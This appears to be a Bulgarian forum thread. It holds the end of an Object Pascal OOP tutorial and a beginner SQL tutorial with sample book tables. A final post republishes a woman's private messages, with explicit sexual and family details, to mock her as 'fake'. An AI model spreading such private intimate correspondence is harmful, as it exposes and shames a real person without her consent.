procedure SetCoord(newX, newY, newZ: integer); overload;
end;
procedure T3DPoint.SetCoord(newX, newY: integer); overload;
begin
x:=newX;
y:=newY;
z:=0;
dimensions:=2;
end;
procedure T3DPoint.SetCoord(newX, newY, newZ: integer); overload;
begin
x:=newX;
y:=newY;
z :=newZ;
dimensions:=3;
end;
В зависимост от броя на подадените параметри, метода SetCoord определя свойството dimensions като 2 или 3, а също така инициализира свойството Z на третия параметър, или ако са подадени само 2 - на 0. Предефинирането е възможно и за конструкторите - можете да имате различни конструктори в зависимост от подадените параметри.
Предефинирането на методи на родителски клас има малко по-друг смисъл. При него се извършва заместване на родителския метод нов. За целта при декларацията на метод, който присъства и в родителския, се използва ключовата дума override. Когато предефинирате по този начин метод на родителския клас, то вие вече можете да извикате само дъщерния метод. Понякога е полезно да запазите оригиналния метод и да добавите само малко допълнително код. Тогава можете да използвате ключовата дума inherited, която извиква метода на родителския клас. По този начин трябва само да допишете новия код и да извикате родителския метод.
Виртуални и абстрактни методи
Последното нещо, което ще разгледам, са виртуалните и абстрактни методи. Докато обикновения метод е статичен, виртуалния може да се нарече динамичен. Когато дефинирате един метод като виртуален и го предефинирате в дъщерните му класове, то извикването на този метод може да доведе до различен резултат в зависимост към кой клас сочи променливата. Това е важно при наследяването. Например ако имаме класа TAnimal и дъщерните класове TDog и TCat, като родителския клас предоставя процедурата Voice, а всеки един от дъщерните я предефинира, то можем да декларираме обект от типа TAnimal (да го наречем просто Animal) и да извикаме метода Animal.Voice. В зависимост от това дали на Animal е присвоен обект от тип TAnimal, TDog или TCat ще извикаме един от три различни метода - TAnimal.Voice, TDog.Voice или TCat.Voice. Извикването myAnimal.Voice ще е валидно за всеки един дъщерен клас на TAnimal. За да декларирате даден метод като виртуален, трябва да използвате ключовата дума virtual след неговата декларация. Това трябва да стане само веднъж - в декларацията на родителския клас. След това дъщерните класове трябва само да предефинират метода. Няма начин да отмените "виртуалността" на метода - веднъж деклариран като виртуален, той остава такъв във всички дъщерни класове. Обърнете внимание, че за тазлика от предефинирането на родителските методи, когато предефинирате виртуален метод трябва да запазите същите параметри. Абстрактния метод представлява една подобна концепция - всъщност често даден метод се декларира като виртуален и абстрактен. Идеята е в това, да декларирате в един клас методите, които трябва да притежават дъщерните класове, като реализацията остава само за дъщерните класове. Дефинирането на метод като абстрактен става чрез ключовата дума abstract след декларацията му; това напълно дефинира метода. Т.е. декларирате ли метод като абстрактен не можете да имате реализация на този метод в същия клас, а само в негови дъщерни класове.Причината да използвате абстрактни методи е възможността да извикате метода от всеки един подклас. Бихте могли разбира се да използвате просто виртуален метод но тогава ще трябва да напишете и някакъв код в реализацията на метода за този клас; абстрактния метод се ползва в декларацията на класове, които само определят общите за всички дъщерни класове методи, но не и тяхната реализация.
Като заключение ще кажа, че Object Paskal не е инстински обектно-ориентиран език. Възможно най-простото доказетелство е липсата на методи на обект String, който да връща дължината на низа или част от него, а наличието на функции като Length() и copy() вместо това. Object Paskal твърде несполучливо осъществява обекто-ориентираните концепции, но това не го прави по-малко ефективен. Създателите ми вероятно не са имали за цел да създадат обектно-ориентиран език, а да направят ефективно средство за програмиране под Windows, запазвайки максимално чертите на Paskal. Именно това е Object Paskal - език, който среща нуждите на програмиране под Windows, покрива основните стандарти на обектно-ориентираното програмиране и в същото време е удобен за работа, ефективен и лесен за научаване.
-
Айде да не пропуснем да уважим и от преди годините (За много години!) ескюела.
Учете, да сте учили на времето за ескюел:
QL (Structured Query Language - структурен език за заявки) е основната технология за обработка на бази данни. Практически всяко средство за разработка на бази данни поддържа SQL. Delphi и Visual Studio също предоставят компоненти за обработка на бази данни чрез SQL. Напрактика всяка една база данни се контролира чрез SQL. Той определя какво да бъде изведено от базата, а не как да се осъществи това, което го прави платформено-независим. Макар различните реализации да имат определени различия, в основата си всички реализации на SQL са еднакви, така че чрез него могат еднакво добре да се обработват бази данни в Microsoft Access и в Оracle; както и в още много други приложения. Той прави възможно и създаването на собствени приложения за работа с бази данни, създадени чрез някой от гореспоменаите продукти. Като най-разпространено средсвто за обработка на бази данни, той е задължителен за всеки, който иска сериозно да се занимава с бази данни, независимо дали ще ползва готови продукти за обработката им или ще разработва приложения за работа с бази данни
Основи
Всяка база данни се състои от таблици, вкяка от които има име. Всяка таблица се състои от отделни колони; всяка колона има име. В основата на обработката на бази данни е извеждането на определена информация от определени колони на определени таблици. Нека разгледаме една таблица:
Books
title format language size
Thinking in C++ HTML english 1 033KB
Using Visual C++ 4.2 HTML english 364 KB
Learn Visual Basic 6 DOC english 1 405KB
CGI Programming 101 PDF english 188 KB
Inprise MIDAS DOC russian 383 KB
Това е една малка таблица - в практиата може да се сблъскате с таблици със десетки колони и хиляди редове. Но за целите на това ръководство тя е подходяща. И така - в основата на обработката на базите данни е заявката. Тя може да е за извеждане на информация, за промяна на информацията или друга. Всяка команда в SQL е заявка. А основната заявка е за избор на информация за обработка.
Основната и най-често срещана команда в SQL е SELECT. Тя определя условието, по което се определя каква информация да бъде изведена. Нашата таблица се казва books и има 4 колони - title (заглавие), format, language (език) и size (размер). Можем да изведем цялата таблица, като използваме следната команда:
SELECT * FROM books
Но много по-често ни трябват определени колони. Ако не ни интересува нито формата, нито размера на книгата? Тогава използваме командата
SELECT title, language FROM books
Резултатът е следната таблица:
title language
Thinking in C++ english
Using Visual C++ 4.2 english
Learn Visual Basic 6 english
CGI Programming 101 english
Inprise MIDAS russian
Това ни показва базовия синтаксис на командата SELECT. Тя има много повече възможности, но най-важното и задължително за да бъде използване, е:
SELECT rows FROM table
Какво се получава, ако трябва да изведем всички книги, които са на английски език? SELECT ни дава възможност да извеждаме само редове, отговарящи на определено условие. В случая условието е в колоната language на съответния ред да е вписано english. Можем да го направим със следната команда:
SELECT * FROM books WHERE language = 'english'
Използване на WHERE
WHERE предоставя множество възможности. Освен равенството, той ви позволява да използвате всички оператори за сравнение:
!= или <> за различно от
>= за по-голямо или равно
<= за по-малко или равно
> за по-голямо
< за по-малко
WHERE успешно сравнява думи, като използва ASCII кода на символите. Трябва да имате предвид обаче, че макар и самите команди в SQL да не са чуствителни към главни/редовни букви (тук са дадени с главни но това не е задължително), имената на колоните, таблиците, както и стойностите в техните полета са. Т.е. командата SELECT * FROM books WHERE language = 'English' няма да изведе нищо
Едно от големите предимства на командата WHERE е възможността на използването на логически оператори AND и OR за определяне на повече от едно условие. Нека приемем, че трябва да изведете заглавието на всички книги, които са на английски и са в HTML формат:
SELECT title FROM books WHERE language = 'english' AND format = 'HTML'
Резултатът е:
Thinking in C++
Using Visual C++ 4.2
Използване на аритметика и LIKE, преименуване на колони
За целите на по-нататъчното ни обучение ще използваме една по-голяма таблица:
inventory
title language format subject size archived
CGI Developer's Guide english HTML Perl 1268 243
Codebook 1 english DOC Game Maker 418 39
CPP russian DOC C++ 2397 405
Database Developer's Guide width Visual C++ 4 english HTML Visual C++ 2579 436
Database in VB5 in 21 days english HTML Visual Basic 2219 381
GLspecification 1.4 english PDF OpenGl 1850 984
HTML Cource english PDF HTML 1307 1155
Learn Visual Basic 6 english DOC Visual Basic 25029 1405
Programming in Java russian HTML Java 1283 527
Programming in VB5 english HTML Visual Basic 1013 584
Programming Perl english HTML Perl 2682 683
Teach Yourself Java 1.1 Programming english HTML Java 815 195
Teach yourself Borland Delphi 4 english HTML Delphi 1943 432
Teach yourself Internet Game Programming with Java english HTML Java 1148 275
Teach yourself Visual J++ english HTML Visual J++ 4043 2788
Thinking in C++ english HTML C++ 8256 1033
Using Visual C++ 4.2 english HTML Visual C++ 1699 364
Learn Visual C++ english HTML Visual C++ 676 412
Visual C++ in 12 Easy Lessons english HTML Visual C++ 1679 687
Visual Basic 5 Night School english HTML Visual Basic 1903 374
SQL съдържа всички аритметични оператори. Преди да разберем как и за какво се използват, нека видим кои са:
+ събиране
- изваждане
* умножение
/ деление
% остатък от делението
Първото и най-очевидно място за използване на аритметика е в клаузата WHERE. Нека предположим че трябва да изведем всички книги, заедно с формата им, за които архива е не-повече от 20% от оригиналния размер. Как ще изглежда заявката?
SELECT title, format, size, archived
FROM inventory
WHERE size*20/100 <= archive
Резултата е следната таблица:
title format size archived
CGI Developer's Guide HTML 1268 243
Codebook 1 DOC 418 39
CPP DOC 2397 405
Database Developer's Guide width Visual C++ 4 HTML 2579 436
Database in VB5 in 21 days HTML 2219 381
Learn Visual Basic 6 DOC 25029 1405
Thinking in C++ HTML 8256 1033
Visual Basic 5 Night School HTML 1903 374
Но защо да не покажем в таблицата, какъв процент е архива от оригиналния размер. Как? Тук идва второто приложение на аритметиката - в клаузата SELECT. Там можем да създаваме нови колони, на базата на вече съществуващите. Това са виртуални колони, които не се запазват в базата данни, но могат да ни бъдат полезни. Ето как се използва аритметика в клаузата SELECT:
SELECT title, format, archived/size*100
FROM inventory
WHERE archived/size*100 <= 20
Резултатът е следната таблица:
title format archived/size*100
CGI Developer's Guide HTML 19
Codebook 1 DOC 19
CPP DOC 9
Database Developer's Guide width Visual C++ 4 HTML 17
Database in VB5 in 21 days HTML 17
Learn Visual Basic 6 DOC 6
Thinking in C++ HTML 13
Visual Basic 5 Night School HTML 20
Тук възниква въпроса не може ли да се преименува колоната. И тук е мястото, в което трябва да споменем за няколко от основните свойства на командата SELECT. На първо място, колоните се извеждат в този ред, в който са определени в клаузата SELECT, а не в реда, вкойто са дефинирани в таблицата. Така бихме могли да изведем първо размера, а после формата. Името на всяка колона може да бъде сменено за конкретната таблица, като просто след колоната се напише новото име (в някои реализации на SQL се слага знак = между двете. Така можем да направим нашата таблица по-разбираема, просто като напишем
SELECT title, format, archived/size*100 ratio
FROM inventory
WHERE archived/size*100 <= 20
title format ratio
CGI Developer's Guide HTML 19
Codebook 1 DOC 19
CPP DOC 9
Database Developer's Guide width Visual C++ 4 HTML 17
Database in VB5 in 21 days HTML 17
Learn Visual Basic 6 DOC 6
Thinking in C++ HTML 13
Visual Basic 5 Night School HTML 20
Ще разгледаме още един елемент от клаузата WHERE. Какво ще стане, ако трябва да изведем всички книги, отнасящи се до Visual Studio? Бихме могли да напишем:
SELECT * FROM inventory
WHERE subject = 'Visual C++'
OR subject = 'Visual Basic'
OR subject = 'Visual J++'
В много случаи обаче подобен подход е нерационален. Вместо това на помощ ни идва операторът LIKE. Чрез него могат да бъдат избрани всички елементи, съдържащи даден елемент. В оператора LIKE могат да се използват символите _, който обозначава един произволен символ, и %, обозначаващ произволно количество произволни символи. Така нашата заявка ще бъде:
SELECT * FROM inventory
WHERE subject LIKE 'Visual%'
Това ще изведе всеки запис, за който полето subject започва с Visual. Ако искаме да изведем книгите, отнасящи се за Visual C++ или Visual J++ можем да напишем:
SELECT * FROM inventory
WHERE subject LIKE 'Visual _++'
Основни функции
За целите на по-нататъчните ни упражнения ще използваме следните две таблици:
programbooks
title language format subject size
CGI Developer's Guide english HTML Perl 243
Codebook 1 english DOC Game Maker 39
CPP russian DOC C++ 405
Database Developer's Guide width Visual C++ 4 english HTML Visual C++ 436
Database in VB5 in 21 days english HTML Visual Basic 381
GLspecification 1.4 english PDF OpenGl 984
Learn Visual Basic 6 english DOC Visual Basic 1405
Learn Visual C++ english HTML Visual C++ 412
Programming in Java russian HTML Java 527
Programming in VB5 english HTML Visual Basic 584
Programming Perl english HTML Perl 683
Teach yourself Borland Delphi 4 english HTML Delphi 432
Teach yourself Internet Game Programming with Java english HTML Java 275
Teach Yourself Java 1.1 Programming english HTML Java 195
Teach yourself Visual J++ english HTML Visual J++ 2788
Thinking in C++ english HTML C++ 1033
Using Visual C++ 4.2 english HTML Visual C++ 364
Visual Basic 5 Night School english HTML Visual Basic 374
Visual C++ in 12 Easy Lessons english HTML Visual C++ 687
webbooks
title language format subject size
Barebones english HTML HTML 24
CGI Developer's Guide english HTML Perl 243
Complete Itiot's Guide to JavaScript english HTML JavaScript 228
DHTML(small) english HTML HTML 272
HTML Course english PDF HTML 1 155
HTMLTutor bulgarian EXE HTML 1 147
HTML Tutorial english HTML HTML 30
Programming in Java russian HTML Java 527
Programming Perl english HTML Perl 683
Teach Yourself Java 1.1 Programming english HTML Java 195
Teach yourself Internet Game Programming with Java english HTML Java 275
Writing HTML english HTML HTML 1 520
UNION и UNION ALL
UNION връща резултата от две заявки без повтарящите се полета. UNION ALL връща резултата от двете заявки, включително и повтарящите се полета
Пример:
SELECT title FROM programbooks
UNION
SELECT title FROM webbooks
Резултатът е следния:
title
CGI Developer's Guide
Codebook1
CPP
Database Developer's Guide with Visual C++ 4
Database in VB5 in 21 days
GLSpecification 1.4
Learn Visual Basic 6
Learn Visual C++
Programming in Java
Programming in VB5
Programming Perl
Teach yourself Borland Delphi 4
Teach yourself Internet Game Programming with Java
Teach yourself Java1.1 Programming
Teach yourself Visual J++
Thinking in C++
Using Visual C++ 4.2
Visual Basic 5 Night School
Visual C++ in 12 Easy Lessons
Barebones
Complete Idiot's Guide to JavaScript
DHTML(small)
HTML Course
HTMLTutor
HTML Tutorial
Writing HTML
INTERSECT
INTERSECT връща само записите, намерени и при двете заявки.
Пример:
SELECT * FROM programbooks
INTERSECT
SELECT * FROM webbooks
Резултатът е:
title language format subject size
CGI Developer's Guide english HTML Perl 243
Programming in Java russian HTML Java 527
Programming Perl english HTML Perl 683
Teach Yourself Java 1.1 Programming english HTML Java 195
Teach yourself Internet Game Programming with Java english HTML Java 275
MINUS
MINUS връща записите от първата заявка, които не са намерени при втората
Пример:
SELECT * FROM webbooks
MINUS
SELECT * FROM programbooks
Резултатът е:
title language format subject size
Barebones english HTML HTML 24
Complete Itiot's Guide to JavaScript english HTML JavaScript 228
DHTML(small) english HTML HTML 272
HTML Course english PDF HTML 1 155
HTMLTutor bulgarian EXE HTML 1 147
HTML Tutorial english HTML HTML 30
Writing HTML english HTML HTML 1 520
SUM
SUMВръща сумата от всички стойности в колоната. Тя може да се прилага само върху колони, съдържащи числа.
Пример:
SELECT SUM(size) FROM programbooks
Резултатът е:
12247
AVG
Тази функция връща средно аритметичното от стойностите в колоната. Може да се използва само с колони, съдържащи числови стойности
Пример:
SELECT AVG(size) FROM programbooks
Резултатът е
644,578947
MAX
За разлика от предишните функции, тази може да работи и със символни низове. Тя връща най-големия елемент от колоната. Когато става въпрос за символен низ - връща последния в азбучен ред
Пример
SELECT MAX(size) FROM programbooks
Резултатът е:
2788
MIN
Тази функция връща най-малкия елемент от колоната. Както и предишната, тя може да работи и със символни низове
Пример
SELECT MIN(size) FROM programbooks
Резултатът е:
39
COUNT
Тази функция връща броя на записите, отговарящи на клаузата WHERE. Да предположим, че искате да разберете колко са книгите за Visual C++
SELECT COUNT(*) FROM programbooks
WHERE subject = 'Visual C++'
Разултатът е:
4
ABS
Тази функция връща абсолютната стойност на дадените числа
CEIL и FLOOR
CEIL връща най-малкото цяло число, по-голямо или равно на подаденото. FLOOR връаща най-голямото цяло число, по-малко или равно на подаденото
COS, SIN и TAN
Тези функции връщат съответно косинус, синус или тангес от подадените им стойности. Имайте предвид че те работят с радиани
LN и LOG
LN връща натурален логаритъм на подадените й стойности. LOG приема два аргумента, като първия е базата. Функцията връща логаритъм от втория аргумент при база първия
POWER
POWER приема два аргумента и връща първия на степен втория
SIGN
Тази функция връща -1, ако аргументът е по-малък от 0; 0, ако аргументът е равен на нула; или 1, ако аргуметът е по-голям от 0
SQRT
Тази функция връща корен квадратен от подадените й стойности
Промяна на данните в база данни
Чрез SQL можете да променяте информацията в база данни, използвайки три основни процедури: добавяне, изтривне и промяна. За целите на по-нататъчните ни разглеждания, ще използваме следната таблица:
inventory
title language format subject size archived
CGI Developer's Guide english HTML Perl 1268 243
Codebook 1 english DOC Game Maker 418 39
CPP russian DOC C++ 2397 405
Database Developer's Guide width Visual C++ 4 english HTML Visual C++ 2579 436
Database in VB5 in 21 days english HTML Visual Basic 2219 381
GLspecification 1.4 english PDF OpenGl 1850 984
HTML Cource english PDF HTML 1307 1155
Learn Visual Basic 6 english DOC Visual Basic 25029 1405
Programming in Java russian HTML Java 1283 527
Programming in VB5 english HTML Visual Basic 1013 584
Programming Perl english HTML Perl 2682 683
Teach Yourself Java 1.1 Programming english HTML Java 815 195
Teach yourself Borland Delphi 4 english HTML Delphi 1943 432
Teach yourself Internet Game Programming with Java english HTML Java 1148 275
Teach yourself Visual J++ english HTML Visual J++ 4043 2788
Thinking in C++ english HTML C++ 8256 1033
Using Visual C++ 4.2 english HTML Visual C++ 1699 364
Learn Visual C++ english HTML Visual C++ 676 412
Visual C++ in 12 Easy Lessons english HTML Visual C++ 1679 687
Visual Basic 5 Night School english HTML Visual Basic 1903 374
Добавяне на информация
Добавянето на информация в базата данни е изключително лесно - за целта служи командата INSERT. Можете да добавите нов ред към дадена таблица като използвате:
INSERT INTO tablename
(col1, col2...)
VALUES(value1, value2...)
Това ви позволява да добавите един ред към дадена таблица. Броя на стойностите трябва да отговаря на броя на колоните, като данните се попълват в реда, в който сте определили колоните, а не в реда, в който са колоните в оригиналната таблица. Т.е. можете да попълните реда отзад-напред като просто определите имената на колоните в обратен ред. Ако не определите колони, данните се попълват подред в колоните от оригиналната таблица, започвайки от първата и продължавайки до последната.
Това е изключително лесен и удобен начин да прибавим информация към базата данни. Но какво става ако трябва да добавим десетки или дори стотици нови редове? Напрактика, командата INSERT има две форми - INSERT ... VALUES, която разгелдахме, и INSERT ... SELECT. При втория вид, към таблицата се прибавя информацията, върната от стандартна заявка чрез командата SELECT. Отново, синтаксисът е:
INSERT INTO tablename
(col1, col2, ...)
SELECT col1, col2, ...
FROM sourcetable
WHERE search-condition
Повече информация за използването на SELECT и клаузата WHERE ще наметите в Въведение в SQL.
Изтриване
Изтриването на елемент е също толкова лесно, колкото и прибавянето му. Нещо повече - можете да изтриете един или множество елементи по един и същи начин. Използването на клаузата WHERE при триене е изключително важно за определяне на това, което да бъде изтрито. В противен случай ще изтриете цялата информация от таблицата, но таблицата ще продължи да съществува. Командата, използвана за изтриване на данни е DELTE а нейния синтаксис:
DELETE FROM tablename
WHERE search_condition
Тази команда изтрива всички редове от посочената таблица, отговарящи на условието search_condition. Ако не използвате клаузата WHERE ще изтриете всички редове от таблицата.
Нека разгледаме един пример
Ще премахнем от нашата таблица книгите за Perl и Java, тъй като те се отнасят за web програмиранме и ще бъдат отделени от тази база данни.
DELETE FROM inventory
WHERE subject = 'Perl' OR subject = 'Java'
Сега нашата таблица изглежда така:
inventory
title language format subject size archived
Codebook 1 english DOC Game Maker 418 39
CPP russian DOC C++ 2397 405
Database Developer's Guide width Visual C++ 4 english HTML Visual C++ 2579 436
Database in VB5 in 21 days english HTML Visual Basic 2219 381
GLspecification 1.4 english PDF OpenGl 1850 984
HTML Cource english PDF HTML 1307 1155
Learn Visual Basic 6 english DOC Visual Basic 25029 1405
Programming in VB5 english HTML Visual Basic 1013 584
Teach yourself Borland Delphi 4 english HTML Delphi 1943 432
Teach yourself Visual J++ english HTML Visual J++ 4043 2788
Thinking in C++ english HTML C++ 8256 1033
Using Visual C++ 4.2 english HTML Visual C++ 1699 364
Learn Visual C++ english HTML Visual C++ 676 412
Visual C++ in 12 Easy Lessons english HTML Visual C++ 1679 687
Visual Basic 5 Night School english HTML Visual Basic 1903 374
Но да предположим, че сме конвертирали всички .doc файлове в PDF. Как да отразим тази промяна? Би било твърде нерационално да изтрием всички записи, съдържащи DOC за формат и да ги прибавим с нужната корекция. SQL предоставя за целта командата UPDATE, имаща следния синтаксис:
UPDATE tablename
SET col1=value1
(,col2=value2, ...)
WHERE search_condition
Отново тук е важно използването на клаузата WHERE за определяне на това, кои записи да бъдат променени. С col1, col2 и т.н. се обозначават имената на колоните, които се променят, а с value1, value2 и т.н. - съответните стойности. За да променим формата в нашата таблица, ще използваме следната команда:
UPDATE inventory
SET format = 'PDF'
WHERE format = 'DOC'
Сега таблицата изглежда така:
inventory
title language format subject size archived
Codebook 1 english PDF Game Maker 418 39
CPP russian PDF C++ 2397 405
Database Developer's Guide width Visual C++ 4 english HTML Visual C++ 2579 436
Database in VB5 in 21 days english HTML Visual Basic 2219 381
GLspecification 1.4 english PDF OpenGl 1850 984
HTML Cource english PDF HTML 1307 1155
Learn Visual Basic 6 english PDF Visual Basic 25029 1405
Programming in VB5 english HTML Visual Basic 1013 584
Teach yourself Borland Delphi 4 english HTML Delphi 1943 432
Teach yourself Visual J++ english HTML Visual J++ 4043 2788
Thinking in C++ english HTML C++ 8256 1033
Using Visual C++ 4.2 english HTML Visual C++ 1699 364
Learn Visual C++ english HTML Visual C++ 676 412
Visual C++ in 12 Easy Lessons english HTML Visual C++ 1679 687
Visual Basic 5 Night School english HTML Visual Basic 1903 374
-
Имаше преди години една, която тук ми се правеше на много честна. После обаче се видя, че се среща с други наживо, флиртува с трети онлайн и всичко е било един фалш голям.
Ето ви, да се накефите на фалша:
Добър вечер, господин Димитров!
Получих имейла както и личното съобщение от вас. Ще кажа, че имейла ми не е фалшив, мислех даже да ви отговоря първо там, ползвам го редовно повече от Gmail.
Радвам се, че сте толкова директен, не всеки има смелост! Не съм дрънкало и всичко си остава между нас, все пак големи хора сме. Разбрана съм. Не се притеснявайте. Съжалявам за случилото се с приятелката ви. Наистина е тъжно.
Имате ли против да си разменим фейсбук?
Ако е удобно може ли да си пишем тук на лично или в случай че сте съгласен в фейсбук? Там по-бързо отговарям.
Ако желаете нещо повече да знаете за мен, може да ме питате. Няма проблем от моя страна.
Бях в страхотно парти настроение и страшно много ми се празнуваше особено след баня и това беше причината/ повода да си кача снимката 8)
-
Следващото.
Ще си позволя да ви разкажа повече за мен, да няма неприятни изненади и такива неща, защото мисля, че е важно и искам всичко да се знае.
Не обичам лъжите и увъртанията, затова ще ви кажа/споделя 8)
Мисля, че няма да ви допадна в леглото, поради факта, че ВСЕ ОЩЕ ВАГИНАЛЕН СЕКС НЕ СЪМ ПРАВИЛА и не съм опитна в секса защото съм била с 2-ма само, вие предполагам сте свикнал с по-опитни мадами които имат опит и знаят какво и как.
Имала съм само 2 момчета досега и съм правила само анален и орален.
Ако не съм ви разочаровала с думите си, може да ми пратите ваша снимка.
За да не ви губя времето понеже все пак работите и не искам да преча или нещо, не обичам да съм натрапник и да досаждам. Не съм нагъл човек а точно обратното, прекалено съм разбрана и скромна. Може би си личи. От малко градче съм, не съм от София.И благодаря, че споделихте, че сте на 29, мислех ви за по-голям, надявам се да не се обидите но ме изненадахте приятно! Ще кажа, че предложението е добро и вероятно ако беше по нахална мацка някоя би се съгласила веднага и би се възползвала. Поне като знам днешните момичета... :) Просто възпитанието ми не е такова, че да злоупотребявам или да наглея като повечето мадами и си го казвам вместо да крия до последно. 8) Надявам се, че няма да се обидите от това което казах, просто държа всичко да е точно и да се знае. За връзка с предложението, незнам как ще реагирате на това, което сега ви написах, не съм казала все още да, но все пак не искам да ви задържам и мотая и ще ви разбера ако не желаете да комуникирате с мен или намерите друга кандидатка.
Благодаря ви от сърце, че ми честитихте Коледните празници. Много мило, г-н Димитров. Благодаря. :D Пожелавам Ви Весело изкарване на празниците, много усмивки, весели моменти и нека каквото пожелаете и искате да се сбъдне! Понеже знам, че 2020 беше трудна година както за бизнеса така и за хората, надявам се да не ви се е отразила много. И ако имате загуби или нещо в работата, да успеете да си го върнете и всичко да е наред!
Радвам се да ви видя/чуя отново! Ами... на мен разказа ми хареса но ми беше в същото време много тъжен и мъчно. По принцип съм много емоционален и чувствителен човек, което най не харесвам в себе си и също обичам прекалено много а отсрещната страна не ме дарява със същата обич колкото аз влагам. Колкото и да е скъп някой за мен винаги са ме изоставяли и разочаровали, дори собственото ми семейство което е разведено ми тежи най-вече факта че баща ми ме изостави от 2007год и досега не съм го виждала нито ме потърси нито иска да ме чува или вижда. Донякъде си мисля, че явно е за добро, 100% винаги може и по-зле и така се успокоявам. Много ме зарадвахте, че бизнеса ви върви и че всичко е наред. Все пак това е работа и е важно. От парите зависят доста неща, дори и да не е всичко пари, пак са важни и са с кървав труд. Защото човек се бори и влага усилия, здраве също влага, било то ментално или физически. Радвам се, че се развивате!
Какво пиете ако не е тайна? Кое ви е любимото питие? Бил ли сте в чужбина? :o
Аз пия когато съм в компания но силните алкохоли ги избягвам защото не съм свикнала да пия силен алкохол. Примерно пелин пия, ликьор, мента също пия макар и скоро да не съм. ;)
За връзка с предложението: Бих искала да знам повече за вас, вие искате директно да се съглася и тогава бихте ми пратили снимка и бихте ми разказали повече за Вас, струва ми се нелогично веднага да се съгласям и да се срещам с вас без да знам нищо, дори как изглеждате и с какво се занимавате, защото съм 100% сигурна че гледате външния вид и дефакто вие ме знаете как изглеждам но аз вас не ви знам и не мисля, че е много честно по този начин. Защото хем ми правите предложение хем се криете. Нито ще ви убия или причиня нещо, нито нищо. Другото което е всичко си остава между нас ако това толкова ви притеснява, нито ще разказвам на някой нито бих правила глупости и мизерии. Прекалено съм интелигентна и съм над тези неща. ;) Контактувала съм с обществена личност и не съм толкова глупава за разлика от повечето момичета които си дават задниците и другите неща щом срещнат успял човек и грам разбиране нямат и правят простотии. Незнам с какви мадами сте бил но аз не съм от този тип мадами. Би трябвало да сте го разбрал досега. И не е казано, че щом съм контактувала с обществена личност или успял човек трябва да съм правила секс с него. 8)
Пишете ми отговор ако желаете! :)
Весели празници г-н Димитров :D мислех да ви пиша и да ви честитя но не посмях, знам, че работите и тн..
Бих искала да ми пратите ваши снимки за да ви кажа да или не.
Радвам се, че сте толкова директен. ;)
Благодаря. Няма проблем.
Може ли друга?
Ех, исках само теб да видя :D но благодаря за снимките! Оценявам това. 8) Усещам, че ще ме скъсаш.. :) :) :) Едва ли само ще ме гледаш. :P
Отказвам предложението. :-* Дано ти мине главата и се пази!
Пожелавам ти новата 2021 година да ти донесе много здраве, щастие, късмет, пари и любов! 8)